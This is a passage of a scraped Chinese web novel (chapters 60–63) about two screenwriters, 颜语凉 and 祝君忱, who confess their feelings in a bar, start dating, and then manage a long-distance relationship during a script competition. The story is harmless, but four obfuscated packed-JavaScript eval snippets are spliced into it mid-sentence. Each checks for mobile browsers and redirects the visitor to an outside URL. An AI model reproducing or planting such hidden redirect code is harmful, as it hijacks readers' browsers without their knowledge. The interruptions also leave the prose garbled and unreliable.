;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758135|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接过祝君忱递过来的退烧药的。 苦唧唧的药入喉，颜语凉轻抬眼眸偷看对方背着光的侧脸。 果然，祝君忱就是祝君忱。 和舟山那会儿一般无二。 于是，一般无二的祝君忱又像舟山那次一样照顾了他两天。 期间，有一些小插曲。 诸如，地球研究小组里对祝君忱就是今辰好的讨论日日不少，颜语凉只是装疯卖傻。 诸如，周析薇拍了一天戏回酒店发现那日和言不言老师拥抱的陌生帅哥竟是今辰好，憋了一天最终没忍住来问颜语凉，颜语凉只能装疯卖傻。 诸如，《小姐小姐》的小陈导发现祝君忱就是今辰好后万般惊讶，大笑：“原来我们的二搭也这么快。”然后轰炸颜语凉：“所以你们这是四搭？啊不！这才是三搭，《海纳百石》才是四搭！” 颜语凉继续装疯卖傻。 傻了整整两天。 不知是睡得太舒坦还是祝君忱每天粥啊汤啊药啊的养得太好，他的感冒竟好了个彻底。 周末的清晨，颜语凉无病一身轻地从床上翻起来，心想，无需感谢万物，须先感谢自己的免疫系统，遂他双手合十有模有样地做祷告样。 【忱.】：早餐在保温箱，早上导师找我有事 他和祝君忱现在的关系，说实话，只要不提今辰好，和以前一模一样。 甚至带着些他自己都没察觉的亲昵。 除了他发烧那天下了场极寒的秋雨，紧跟在后边的两天都是大晴天。 今天也是。 颜语凉坐在飘窗上，秋日偏淡的阳光撒进窗框，他有些累地伸了个懒腰，搞定了前两天落下的任务，他抱着怀里的剧本，身侧摆着本《海纳百石》原著，他目光落在上面，忽而意识到，这书，是祝君忱写的。 他抬手翻开这本书，喜滋滋看起来。 今辰好滤镜破碎。 替换成祝君忱滤镜。 “听说《海纳百石》的灵感来源于作者的暗恋故事。” “这么隐私的事也能扒出来？” “那他也太自恋了。” 颜语凉手指卡在书页间，脑子里忽而响起这样的对话。 他无法把今辰好和祝君忱的形象拼起来，但是他会做等量代换。 祝君忱是今辰好。 今辰好是《海纳百石》的作者。 祝君忱说灵感来源于今辰好的暗恋。 所以，祝君忱也有苦苦思念一个人的时刻吗？ 颜语凉耷下眼皮，他们可是《海纳百石》连载的末期才认识。 光辉在书页和指尖流转，他的指节却一直钝着。 把情绪闷在书里闷了一下午，反正闲得没事，一股脑把落下的课全学完了。 他学起东西、记起东西来很快，也很沉浸，放松下来的时候才会去看手机，发现祝君忱还没什么动静便主动翻开微信问询。 【我无言以对】：你还在学校吗？ 对方看起来确实没什么闲功夫，过了半小时才回。 【忱.】：学弟的课题组出了点问题，导师让我来帮忙 【我无言以对】：哦，我想喝酒。 【忱.】：想喝什么我带回来，你感冒没好，别喝太多 【我无言以对】：[图片] 【我无言以对】：说晚咯—— 图片里，一眼就能看出是“街角”小酒馆。 昏蓝色的灯光下，一瓶瓶酒高高低低摆了两排。 60. 第六问 颜语凉感觉自己确实发烧烧坏了脑子。 不然怎么会莫名其妙点那么多酒。 诱惑全系列、百威沙皇福佳白。 这是他第二次来重新装修后的小酒馆，这里的格调比以前上升不少档次。 像一座昏蓝色的岛屿。 给祝君忱发完消息后，颜语凉在吧台要了些冰块和果汁打算自己鼓捣鼓捣调酒喝。 他往冰杯里倒了几十毫升的沙皇打底，就在他思忖是倒橙汁还是蓝莓汁时，一位服务生走到他隔间的阶梯口，欠身道：“先生，抱歉，临时收到老板消息说不能卖您这些。” 说罢收走了他桌上几瓶度数高的酒，只剩下几瓶小孩子喝的鸡尾酒。 刚拿起蓝莓汁的颜语凉：？ 什么时候管这些了？？？ 他看着服务生拎着酒的动作，挽回道：“我成年了，为什么不能喝。” 服务生面露难色，顺便把他手边开过瓶的沙皇也收走了。 ？？？ “那瓶我开过了！” “先生，”服务生躬身道歉，“放心，我们不会封瓶二次售卖的，但是我们老板说不能让您喝太高度数的酒，让我们多关照一下，所以这个也得收走。” ？ 他只告诉了祝君忱他来喝酒的事。 颜语凉有个不太成熟的猜测——祝君忱认识这的老板。 “把你们老板拉过来，说说理，我倒要看看他凭什么管我。”颜语凉生平第一次喝酒被限制，有点气恼。 “不让管吗？”一道清冷熟悉的声音忽而出现浇灭了他刚腾起的怒火。 酒吧的灯光昏暗，颜语凉循声望去，有点看不清对方今日穿的长风衣是墨绿色还是墨蓝色。 裹挟着秋日的温寒，一整天没看到的祝君忱站在他面前，他的神情有一刻怔愣。 在服务员唤祝君忱“小老板”的时候回神。 “你……”颜语凉正要说话，却见祝君忱伸手帮他捞回了那瓶沙皇。 “其他拿走，这瓶留下吧。” 服务生非常听话地转身离去。 小老板？ 所以上一次来的时候祝君忱跟他说的：“换老板了。”换的就是他自己？ 颜语凉看着祝君忱拎着酒走近。 恍然意识到，其实他对祝君忱的了解程度远没有想象中那么高。 七夕夜的萍水相逢结下数月之缘，他以为对对方已经足够了解，没想到才堪堪摸到个边。 隔间不算小，能坐四五个人。 祝君忱站到他的身侧问：“我能坐旁边吗？” “能。”颜语凉低头往里面挪。 祝君忱坐下来问：“怎么突然想来喝酒了。” 颜语凉心里闷闷的，一掀眼皮看他：“有心事。” ？ 祝君忱正要开口说什么，就听颜语凉问：“你上次来的时候就是这的老板了吗？什么时候的事？” 酒馆的驻唱表演还没开场，这会儿正在调灯光。 一道橙白色的光扫过这一片，两人脸上皆亮一瞬。 “七夕那天，我和茅涂音来这里，不是为了喝酒，是来谈生意的。” “哦。”颜语凉沉吟片刻。 怪不得。 怪不得他看到那个酒单上第一个调酒品粉色心脏会想起今辰好的书，估计就是照着《海纳百石》设计的。 “茅涂音学设计的，我负责盘下这间酒馆，他负责设计。” 颜语凉垂目不再看他，默然一会儿，说：“你能把手伸给我吗？” “怎么了？”祝君忱依言将手伸到他面前。 这是一个不够敞亮的角落，颜语凉的指节有些凉，覆在他的腕上。 颜语凉的目光从对方手腕挪开，对上他疑惑的目光：“我有五个问题想问你。我想这样问你，行吗？” 祝君忱没问他哪来那么多问题，只是瞥向被他摁住的手，看到他游移片刻找到了自己的脉搏，手指微微蜷起，眸光轻动：“如果我答不出来呢？” 颜语凉短暂松开他的手腕，在冰杯里倒满摆在一边的沙皇，说：“答不出来喝一口。” 酒液晃动，像一汪小小的湖泊。 沙皇一般都做调酒的基酒，40度的酒精浓度，多喝两口都会晕。 “行，问吧。”祝君忱应下来。 “第一个问题，问今辰好老师，为什么知道我是言不言的时候没有跟我绝交？” 祝君忱似乎早就想过他会问这个问题，从容道：“因为今辰好视角的言不言和祝君忱视角的颜语凉不一致。” 颜语凉轻声嘟囔道：“我也一样。” “第二个问题，问今辰好老师，以前觉得言不言如何？” 祝君忱答：“太不认真。” “现在觉得言不言如何？” “太过认真。” 手指尖跳动着对方的脉搏，颜语凉感受着他一下又一下较为平缓的心跳，耳尖发痒，继续问：“第三个问题，问今辰好老师，听说海纳百石灵感来源于你的暗恋故事，请问是否为真？” 手底摁着的脉搏“倏”地重重一跳，祝君忱抽手抬起那杯酒抿了一口，避而不答。 很奇怪，明明这句话是他主动告诉颜语凉的，现在却又不敢提。 许是喝过烈酒的缘故，祝君忱再次把手伸过来，腕骨的脉搏比之前要更重、更快。 “第四个问题，问今辰好老师，为什么把我设置成特别关心？你说我之后会知道的，那我现在能知道了吗？” 手里又一空，祝君忱又抽手喝了一口，在酒精的刺激下，他眉头微蹙，眼底已经有了水光。 颜语凉感觉自己紧张地出汗，他缓了下发紧发涩的心脏，捻去手心沁出的汗，继续覆上祝君忱放在桌面的手腕，自己的指尖某根牵着心脏的神经也开始突突突地跳，他竭力分辨哪个是对方的心跳，开口问最后一个问题：“第五个问题，问祝君忱，我不管你之前喜欢谁。” 他咽咽，心腔开始热烈地狂跳，指尖忍不住发抖发颤，再开口的时候声音不由自主地压低：“我喜欢你，我能追你么？” 话一出口，耳际、咽喉、肩脖都瞬间发热发烫，他脑内片刻发白，嗡鸣声一片。 颜语凉不敢去看祝君忱的表情，但他没有任何退缩的动作，只是闷头僵着动作等对方回应。 祝君忱似乎又有抽手的趋势，颜语凉手比脑子快，立即攥住对方的手腕，抬眼：“这个问题你不能喝酒，你只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758136|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能答，能或者不能。” 这是最重要的问题，谁也不准逃避。 不止你，包括我。 之前仅仅是浅浅覆着，这下是紧紧相依，手心不知是谁的心跳杂乱无章，颜语凉已没有心绪去区分哪一声是自己的，哪一声是对方的。 在触及祝君忱目光的时候，他强行将疯狂脱离控制的心跳压制下去，发颤的手也稳下来。 祝君忱脸上没有什么别的情绪，只是微不可察地拧眉。 但攥着他脉搏的颜语凉知道——他心跳非常快。 非常非常快。 祝君忱匆匆挪开目光，敛去所有情绪偏过头，说：“颜语凉，你想清楚了吗？” “当然，”颜语凉也有点扛不住，见他没有回避便松开他的手，“你以为我这两天躺床上光傻乎乎地睡么？我肯定是想清楚了才跟你说的这些话。” “你忘了？是你先问我的，十三支玫瑰是什么意思。你既然问我，你早就应该清楚。” “是你纵容我，”他话音一顿，“是你纵容我喜欢上你的。” 祝君忱又看了过来：“可是我是今辰好，就像你之前说的，我小气、死板、爱记仇、不近人情、不懂浪漫。” 颜语凉一怔，他隐约记得自己确实说过类似的话，但全然都是对事不对人，好吧硬要说对人也没错，他当时确实对今辰好有偏见。 “所以你不打算瞒下去了，是因为想和我绝交？” 祝君忱很轻地摇头：“我想让你在还没有那么喜欢我的时候及时止损。” “及时止损？”颜语凉重复咬着这四个字，竟觉得可笑，他扬唇凑近，“那你教教我怎么止损？” 距离猝然拉进，颜语凉目光下撤看到对方的飞速滚了下喉结，见祝君忱要开口，他轻舔了下嘴角打断，催促道：“先别教，先回答我，能还是不能。” 铺在祝君忱眼底的光被他下扫的长睫遮了些，他沉声回应：“能。” 颜语凉感觉心尖被人戳了一下，又软又痒，摆在身侧的手攥紧又松开，趁着小隔间的昏暗难明，他没忍住又向前凑了些，祝君忱居然没有后退，一对沾着水的明眸就那样纵他靠近。 那阵冰蓝玫瑰柔香有意无意地吸引他更进一步。 “现在有第六个问题，”颜语凉的视线落在他不过咫尺的唇上，声音像晴天飘过的一阵秋风，抬手又牵住了对方的手腕，瞧见这人眼中的光晃了一下，他接着问，“如果我现在想亲你，你会拒绝吗？” 被他攥住的手腕处传来重重的脉搏心跳，他听见对方被酒精麻了方寸的嗓音有些哑，说：“不会。” 颜语凉整个脑袋都是热的，耳尖火辣辣地发烫，靠近覆上了对方的唇，尝到一抹未散尽的浓烈的伏特加酒味儿。 其实只是贴了一下，都不能算一个吻。 片刻，他羞闷着偏开毫厘。 却被一只大而有力的手扶住了滚烫的面颊。 祝君忱欺身而上，回给他一个实实在在的吻。 颜语凉因着他的动作往后跌了一点，靠在隔间座位的角落被亲得发懵。 像跌进云里，手抓哪都抓不实。 哪用教什么及时止损，只有不用教的愈陷愈深，和眼前的深息浅吻。 61. 热恋期 他们唇齿间相隔的只有灼人的心跳声。 祝君忱松开他的时候，指腹蹭过他的唇角，声音带着未散的温存，问：“还要吗？” 颜语凉滴酒没沾，就已经醉了，喉中溢出一个哑字：“要。” 不大清晰的人影便又凑了上来。 颜语凉感受着唇间的柔软，感觉自己冒烟了。 祝君忱结束这个吻，让开的时候气息不太稳，颜语凉心还在怦怦直跳，看他没有彻底地挪远，以为对方还要再来一次，却听这人握着他的手轻声说：“你现在还能后悔。” “后悔什么？”颜语凉一愣，反握住他，“亲都亲了，后悔算什么？” “怕你以后后悔，现在一切都还来得及。”祝君忱眼底的光泽暗了些，纠缠着克制，“我可是你一向很讨厌的今辰好。” 颜语凉脑子里又响起那句及时止损，不知是因为祝君忱又说逃避的话还是因为提到了那个名字，他无端烦躁地拽了下对方的领口，拉回原本的危险距离：“我不管今辰好是谁，我只管祝君忱是谁。” 说罢，拉着他的领子重又吻过去。 带着一股横了心的决绝和被对方推开的气恼。 没收住力，磕得嘴皮子生疼。 颜语凉放开他，指尖残存着对方的温度，苦着脸抹了下唇，偏头撇撇嘴。 祝君忱抬手覆着被撞得隐隐作痛的地方，瞧着始作俑者吃痛的样子牵起一个笑。 在犹如月辉的灯光底下，颜语凉瞅着他那抹笑，心头燥意霁散，挪着身子同他贴近：“你知道厄洛斯吗？” 他看到祝君忱很轻地摇头，停止装腔道：“就是人们熟知的爱神丘比特，他每天的工作就是在天上飘着，看人间哪一对合眼缘就射一箭，性格顽固调皮的他很多时候就爱寻求刺激，会蒙眼射箭，所以……爱情本身就是盲目的。” “嗯。”祝君忱听他讲故事，开了瓶车厘子味诱惑，倒进酒杯。 颜语凉直接从他手里抢过来，抬手灌了一大口，诱惑8号偏甜，纵然是喜欢甜口的他也轻微皱了点眉，加重语气说：“颜语凉不可能被现状偏见困在原地。”* 他顿了一下，看见祝君忱翻折袖口撑着脸回头看向他，补充道：“特别是你。” 因为对和你的假设的美好程度远远超过了平淡的现状，所以我迟早会把这层窗户纸捅破。 颜语凉从小挣扎到大，学得最精的东西就是勇敢。 小酒馆的乐队开始奏唱或轻或重的音乐，他们便有一搭没一搭地说着话。 其实颜语凉还沉在告白完的不自在中，但从祝君忱说到《小姐小姐》和别的话题时，那股不自在便烟消云散了。 他们把桌上仅剩的几瓶鸡尾酒就着小吃喝完便走出小酒馆。 天际正挂着一轮橙色的落日，酒馆门前的大路两侧种着很高很高的国槐，在余辉的映衬下，秋意没染尽的绿叶彻底变得金黄。 颜语凉抬眼就是满天满地的金色，心情就跟这秋一样变得轻盈。 两人都喝了酒，不便开车。 颜语凉便“撺掇”祝君忱跟他一块散步回去，路上碰到想吃的餐馆还能把晚饭顺道解决。 祝君忱跨步走在他前面一点，颜语凉忽而想起来舟山那次。 北京的落日和海边的落日大不相同，没有呼啸而过的海风，没有沾衣而潮的湿咸，有心若静水的恬静，和澄澈渐沁的欣喜。 颜语凉和上次一样，热着胸膛去勾对方的手。 上次在舟山的时候还没名没分，只能借一个怕走歪的由头暗戳戳地去牵他。 而今天…… 颜语凉思路一卡。 今天，好像，也没，名分。 嗯，因为他只拿到了祝君忱的追求权。 早知道刚才第五个问题就问“做你男朋友行不行”了。 祝君忱感觉到颜语凉想牵他，正要牵回去，反手捞了个空。 ？ 他偏头看到颜语凉若有所思的表情，问：“怎么了？” 颜语凉抬眸看过去：“我算追上了吗？” “当然。”祝君忱闷笑出声，靠近他主动牵他的手。 想象中对方释然露出笑的样子并没有出现，颜语凉幽幽然开口：“别人问你也答当然吗？” “当然，”祝君忱瞧他胡乱哀怨的样子有意逗弄，话语微顿，拂去落在他肩头的一片叶子，“当然不是。” 颜语凉猛拽了下相牵的手，冲他眨眼：“今辰好老师，把我设置成特别关心是为什么。” 颜语凉总是把他和他的笔名分开来讲，包括刚才在酒馆里的那几个问题也是，祝君忱是第一次听他这么称呼自己，闻言发怔。 颜语凉没等他答，拽着手凑近，近得能听清彼此的鼻息：“是不是暗恋我？” 祝君忱沉默半秒。 颜语凉拽他：“是不是是不是是不是？” “是。”祝君忱偏眸不看他。 颜语凉脚一挪，凑到他眼前：“什么时候开始的？” “什么时候？什么时候呀？” “昨天前天大前天？万圣国庆中秋节？” 颜语凉像打地鼠游戏里的小田鼠，一探一探地势要问到天荒地老，又像一只绕在脚边讨不到想要的东西誓不罢休的小猫。 秋意拂过他的眼睫，卷起他的衣领，更添几分俏皮。 祝君忱扛不住，抬手把他拥进怀里，借着乘叶而过的秋风，低声说：“喜欢你好久了。” 秋风从不撒谎。 男人的肩膀比他宽一些，轻而易举地将他圈在怀里，暖暖融融的。 颜语凉被铺面而来的暖意和耳侧对方的话语弄得心都快化开，他抬手拥回去，在祝君忱平整的肩头摁下几丝褶皱。 闭上眼睛前看到一片泛黄的叶子卷落，晃得醉人。 街头落日已尽，树下阴影摇晃，车流来来往往，留他们一寸旁人不知的温存攀上眉梢。 秋天，正是热恋的季节。 毕竟fall in love.* 十来分钟的车程他们真就这样牵着手走回小区。 期间，经过一家眼镜店，颜语凉心里想着前阵子《海纳百石》写剧本忙得太狠，感觉视力不如从前了，便拉着祝君忱进去测了个视力，结果真测出轻度近视。 配了副眼镜挂在鼻梁上，细银框，薄镜片，给他添上几分书生气质。 颜语凉对着镜子左看看右看看，抱着胳膊，端起姿势，问祝君忱：“我现在这样是不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758137|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更像编剧了？” 祝君忱端详他片刻：“像个小书虫。” 颜语凉做势要咬人。 他度数不高，以后工作的时候戴着就行，颜语凉没咬着人，把新买的眼镜装进眼镜盒收进口袋。 “啊——这算工伤吧。”路灯下，颜语凉拉着调子沉吟片刻，用肩膀轻撞旁边的祝君忱。 祝君忱瞥他一眼，看到他向自己投来埋怨的眼神：“今辰好老师，怎么赔？” 祝君忱抬手，拒不承认自己是今辰好：“那你找他赔去，找我干什么。” ？ 颜语凉见方才小酒馆里重复强调两三遍自己笔名的人此刻变了脸，佯装不悦：“那我只能上博客找他了。” 祝君忱以为他只是做做样子，没想到颜语凉真的戳着屏幕最后点了发送，口袋里的手机也嗡震一下。 “发什么了？”他问，颜语凉笑而不语，示意他自己看。 [言不言： 被遗落的蓝玫瑰海。（约稿版） [图片][图片][图片]] 正是国庆节那阵子祝君忱写给他的《冰蓝玫瑰心事》！ [哇言爷的约稿！] [谁能被言不言约稿！！！] [让我仔细看看是什么样的天仙文章！] 书粉们未观其文章前纷纷惊喜感叹，观其文章后纷纷开始扣问号。 怎么和前两天今辰好发的是同一篇？！ [？] [？？] [？？？] [补兑？？] [言不言今天开文了吗？：啊啊啊好虐！！呜呜呜呜言爷约到如此好文竟现在才分享出来，小气小气！] [嗑一口好言难劝 回复 @言不言今天开文了吗？：……姐妹，这好像是今辰好写的。] 下边蚂蚁一般的人群在不可置信地说：“怎么可能？！这没有依据。” 依据摆在他们面前都不信，遂祝君忱转发前两天的发的文章。 [今辰好转发博客： 稿主@言不言 //今辰好：不是新文，算一个约稿的售后吧。 ] 现在，书粉们信了，但也疯了。 颜语凉看着满评论区的问号直乐：“怎么办啊，怎么跟他们交代？” 祝君忱正要说什么，却被颜语凉打断：“不对，有什么好交代的，我的男朋友是祝君忱，又不是今辰好。” “……” 颜语凉抱住他：“祝君忱，你可要为我做主啊——” 脸上的表情恰到好处，一副窦娥冤样。 祝君忱唇瓣张合最终没能决定说什么，倒把颜语凉逗得闷声笑起来：“我跟你说，廖寻桃他们在我们四个人的小群里闹了好几天了。” 颜语凉靠着祝君忱：“你那天签售会和她打招呼了？” 祝君忱纯良无害地点点头。 “你说你吓唬我一个人就算了，看见她还不躲着点？” “她也讨厌今辰好么？” 颜语凉竖起一根手指：“我的朋友们都是胳膊肘往内拐的。” “现在呢？”祝君忱问，“他们现在都知道我是今辰好了？” “嗯，”颜语凉说，“但是我胳膊肘往外拐了。” 62. 异地恋 颜语凉还没怎么体验“祝君忱的男朋友”这个身份，就又要出差了。 剧组那边有副编在管，出不了大问题，但是效率远没有颜语凉在的时候高。 周一。 颜语凉起了个大早赶早上的航班，乖乖地跑祝君忱那吃早饭。 祝君忱今日早八，送不了颜语凉。 颜语凉叼着小脆饼大哭：“一个人去机场好孤单！” 颜语凉可以去飞机上补觉，祝君忱把他的咖啡换成了牛奶，闻言第二次提议道：“我上午请假送你去机场。” “不行。”颜语凉严词拒绝。 “……那你自己去？” 颜语凉抹去嘴边的碎屑，眼底闪过一丝狡黠，继续大哭：“一个人去机场好孤单！” 祝君忱：“……” 耍他玩呢。 他把正要递过去的牛奶往旁边一搁。 颜语凉笑着：“干嘛放那么远，渴死了。” 说着伸手去拿，却被拦住，被旁边的人捞过去亲了两口。 他的耳根子热起来，听到祝君忱挑眉说：“这样还孤单么？” 颜语凉抿唇喝了口拿到的牛奶，摇摇头。 倒是安分不少。 不过面上表情更像是在打什么坏主意。 快走时，安分没多久的颜语凉蠢蠢欲动把祝君忱推在墙角亲，松开后考拉一样靠着他，说：“离别吻，你话好少，马上好几天见不了了，不跟你的小男朋友多说些话吗？” 祝君忱摸摸他后脑的软发，任他把自己堵在墙角，说起一些原本想等他走了后在微信上发的话：“去海边多带件外套，别又着凉了，如果没有合适的外套的话……” 祝君忱顿了一下，他想说没有合适的外套就去商场买一件，当地的商场肯定有适合当地气温的服饰。但是他不知道小岛上的衣服颜语凉会不会喜欢。 颜语凉微微偏头，发梢蹭过他的耳侧，问：“没有合适的，能带件你的去么？” “可以。”他的心头像被颜语凉挠了一下，反应过来的时候已经应下了。 颜语凉手指戳在他的领口处：“我就要这件。” 这件大衣恰巧是上回去舟山的时候照顾颜语凉的时候穿的，亲测不漏风、很保暖。 祝君忱说：“好。” 几秒后，颜语凉把他的外套叠好抱在怀里，沉甸甸的，飘着淡淡的属于祝君忱的味道，喜不自胜：“这样才不孤单嘛。” 祝君忱弯起眉眼，继续叮嘱：“别太累着自己，困了累了烦了就回酒店睡觉，或者给我发消息打电话。” 颜语凉眨眨眼凑近问他：“你在上课怎么办？” 祝君忱指指耳朵：“我带耳机听你讲话，你听我上课。” 颜语凉想象了一下这个画面，感觉耳朵里已经响起了教授念数据授课的声音，乐了：“我傻逼吗？上班上累了过来上网课？” 祝君忱也笑：“那我跑出去跟你打电话。” “哦，”颜语凉又问，“还有吗？” 其实要说的话差不多就这些，但看着颜语凉晶莹灵动的眸子里明晃晃地晃着期待，祝君忱说不出“没有了”这句话，掘脑三尺，开口道：“还有……不许请男主角吃饭。” 颜语凉以为他还要说什么“饿了添衣冷了吃饭”的废话，听到他这么说，神情一愣，心口上坐着的小人爽快地哈哈大笑：“我爱听这个。” 祝君忱看他神色飞扬没忍住捧着他的面颊轻吻过去。 看，永远不要囿于现状偏见。 勇敢的人先享受爱情。 陷入热恋期的颜语凉感觉自己走路都在飘，从心口到嗓眼全是甜味，一直到飞机起飞，手机开启飞行模式，他支着腮看向窗外愈来愈小的房子，才恍然落寞起来。 啊，忙碌的人先享受异地恋。 * 舟山的夜晚降温严重。 周析薇裹着小棉袄和秦濯对戏，刚对完一段，瞥眼看到一个高挑的身影站在了休息室门口。 “言不言老师！”她一挥手中的剧本稿子唤道。 颜语凉抬眸看向周析薇，冲她翩然一笑。 周析薇感觉他们的编剧老师放了个小假整个人气色好了不少。 她招呼颜语凉过来看她和秦濯对下一场戏。 颜语凉便放下手机坐在他俩对面。 主演们的默契度比刚开始那会儿高了不少，搭起戏来非常顺利，情感张弛有度。 颜语凉看着他们眉飞色舞地表演，思绪往外飘了些——今天晚上九点青书比赛官号发布入围作品票选。 他有些期待也有点忐忑小陈导会把这个片子拍成什么样。 “编剧老师，”周析薇挪着凳子坐近一些，“你那天在微信上跟我说，那个穿情侣装和你抱抱的帅哥有个孪生弟弟是今辰好的事，能细讲吗？” “……”颜语凉被拽回思绪，看着女主演眨巴着眼期待地看着他，无语凝噎，脸上闪过一丝异样，“不好说。” “有件事我上次围读就想问了，”周析薇问，“你和今辰好老师到底为什么关系不好呀。” 颜语凉脸上表情又一变。 嗯。 怎么说呢，反正现在关系不错。 呃。 不止不错。 不对，他前天刚说过，他男朋友是祝君忱，不是今辰好，所以应该关系不能这么算。 思来想去，颜语凉回复眼前眼睛冒亮光的女人说：“我妒他才。” 话音刚落，他想起来之前也是这么回答祝君忱的。 脸上笑容便不自觉往外漾。 远处孙导喊他过去，颜语凉便告别二人，向那边走去。 周析薇看着颜语凉离开的身影，对秦濯说：“你看，我就说他们关系不一般吧！言不言老师一听到有关于那位和今辰好长得神似的帅哥脸上笑藏都藏不住。” 秦濯正在看剧本，同他搭话：“言编说的孪生兄弟的说法你真信？” 周析薇若有所思地摇头：“但是我更不能相信那天同言编抱抱的人就是今辰好。” 秦濯看向她，周析薇捧着抹着粉的娇俏脸蛋：“那也太吓人了！” 今天剧组一直忙到半夜三点才收工，再收拾收拾，聊聊天，颜语凉回到酒店都快四点，倒头就睡。 醒来快九点，他还没清醒，迷迷糊糊跟刚谈三天的异地恋男友说“早”，半半拉拉地跟祝君忱聊天。 【忱.】:才醒？昨晚几点下班的？ 【我无言以对】：3 似是看出他不乐意眯开眼睛打字，祝君忱直接打电话过来。 颜语凉心一跳，清醒一些，薅着自己鸡窝一样的小卷毛翻了个身，点击接通：“喂——” “颜语凉。” “嗯，干嘛。”颜语凉把手机扬声器开到最大，听着对方的声音耳尖发痒，“嗯，再叫我一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758138|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “颜语凉。”这次语调沾了更多笑意。 颜语凉很受用地笑起来：“怎么啦？” “跟你讲青书决赛的事。” 颜语凉摆出皇帝姿态，仰面陷在枕头里，眼睛还是不舍得睁开：“说吧。” “我们现在是第二名。”祝君忱的声音很轻，“第一名是一篇青春校园剧。” “嗯，校园剧受众肯定比民国穿越剧广。” “第三名写的是捉妖。”祝君忱的总结能力很强，三两句就给颜语凉总结出它的大致剧情。 颜语凉听着新奇：“好好玩的剧本，感觉超过我们只是时间问题。” “……”祝君忱听他夸别人欲言又止，继续说下一个：“第四名写的是刑侦，叫《无期雨》，剧情线跟《尘封水》很像，但是感情线，他是更明显的双男主。” “哦，今辰好老师背着我跟别人一起参加了，写了这篇《无期雨》？”颜语凉一勾唇，睁开眼睛，“不然解释不了为什么剧情像呀。” “……”祝君忱大放厥词，“其实这次比赛所有入围作品我都参与了创作。” 哇塞。 颜语凉张张嘴，最终决定不再嘴贫，怪道：“照理说，他对标了《尘封水》还是双男主感情线，不应该是这个名次吧。”至少不应该比《小姐小姐》差。 “嗯，我猜是因为选角和拍摄都没有那么好。” “噢，”颜语凉沉吟，其实很正常，碰不碰得到好的导演、摄影，也算剧本的一种运势，“但是噱头比我们多，感觉超过我们只是时间问题。” 祝君忱在电话那头抬眉：“言不言老师是觉得我们应该倒数第一吗？这么没信心？” “不，”颜语凉说，“暂时感觉是倒数第二，得听听第五名拍的是什么。” “第五名是历史剧，偏权谋的复仇剧。” 颜语凉追问：“它有感情线吗？” “有。”祝君忱说，“但是是be。” “所以它是黑莲花男主和小白花女主，黑莲花复仇成功后发现自己的白月光被害死了的剧情吗？”颜语凉大致猜测道。 “不，它有点烂尾，原剧本是这样的，但是拍不完了，最后呈现出来的结果一般般。” 这是第二个因为剧组原因没有完美呈现剧本的作品，颜语凉不禁有些担心《小姐小姐》，他不想追求多完美，只要按原本剧情走完就行：“那我们的呢？” “原来言不言老师不是奔着倒数第一去的么？”祝君忱调笑，“我们的小短篇剧本完工地非常顺利。” 颜语凉松一口气，心说交给祝君忱就是靠谱。 “另外有件事一直忘了跟言不言老师说，擅自改了个设定。”祝君忱话语微顿，卖了个关子，“那位喊‘小姐小姐’的女仆其实就是毕晗本人，她在最后一次存档，家破人亡流浪海外商船，辗转被救，成为了一个鼎盛家族的女仆，负责每天早上唤醒无忧无虑的小姐。 所以我们的最后结局一幕不再是毕晗绝望流亡海上，而是分成两幕，一半是白发苍然的女仆掉进海里露出了和毕晗一样的脸，另一半是毕晗穿着不太高贵的服饰仰面看见了曾经熟悉的大宅子。” 颜语凉听得兴奋：“那最终结果就是轮回加闭环？还沾上些家国情怀？太高级了，怪不得第二名。” “嗯，”祝君忱补充道，“很多人喜欢这个设定，所以我觉得我们超过第一名只会是时间问题。” 63. 小角落 青书决赛的投票会进行到十一月中旬。 颜语凉像前阵子一样泡在剧组里，不过他现下的任务比一开始轻松了不少，把后边的剧情都捋捋顺差不多后续就用不着一直跟着了。 他又在舟山待了一个礼拜，和之前不同，他现在有身份，可以肆无忌惮地打扰祝君忱说自己很想念他。 今天又进行了一场剧本围读，有了第不知道多少版的剧本和这一个月来的熟悉，这次的围读比上一次顺利不少。 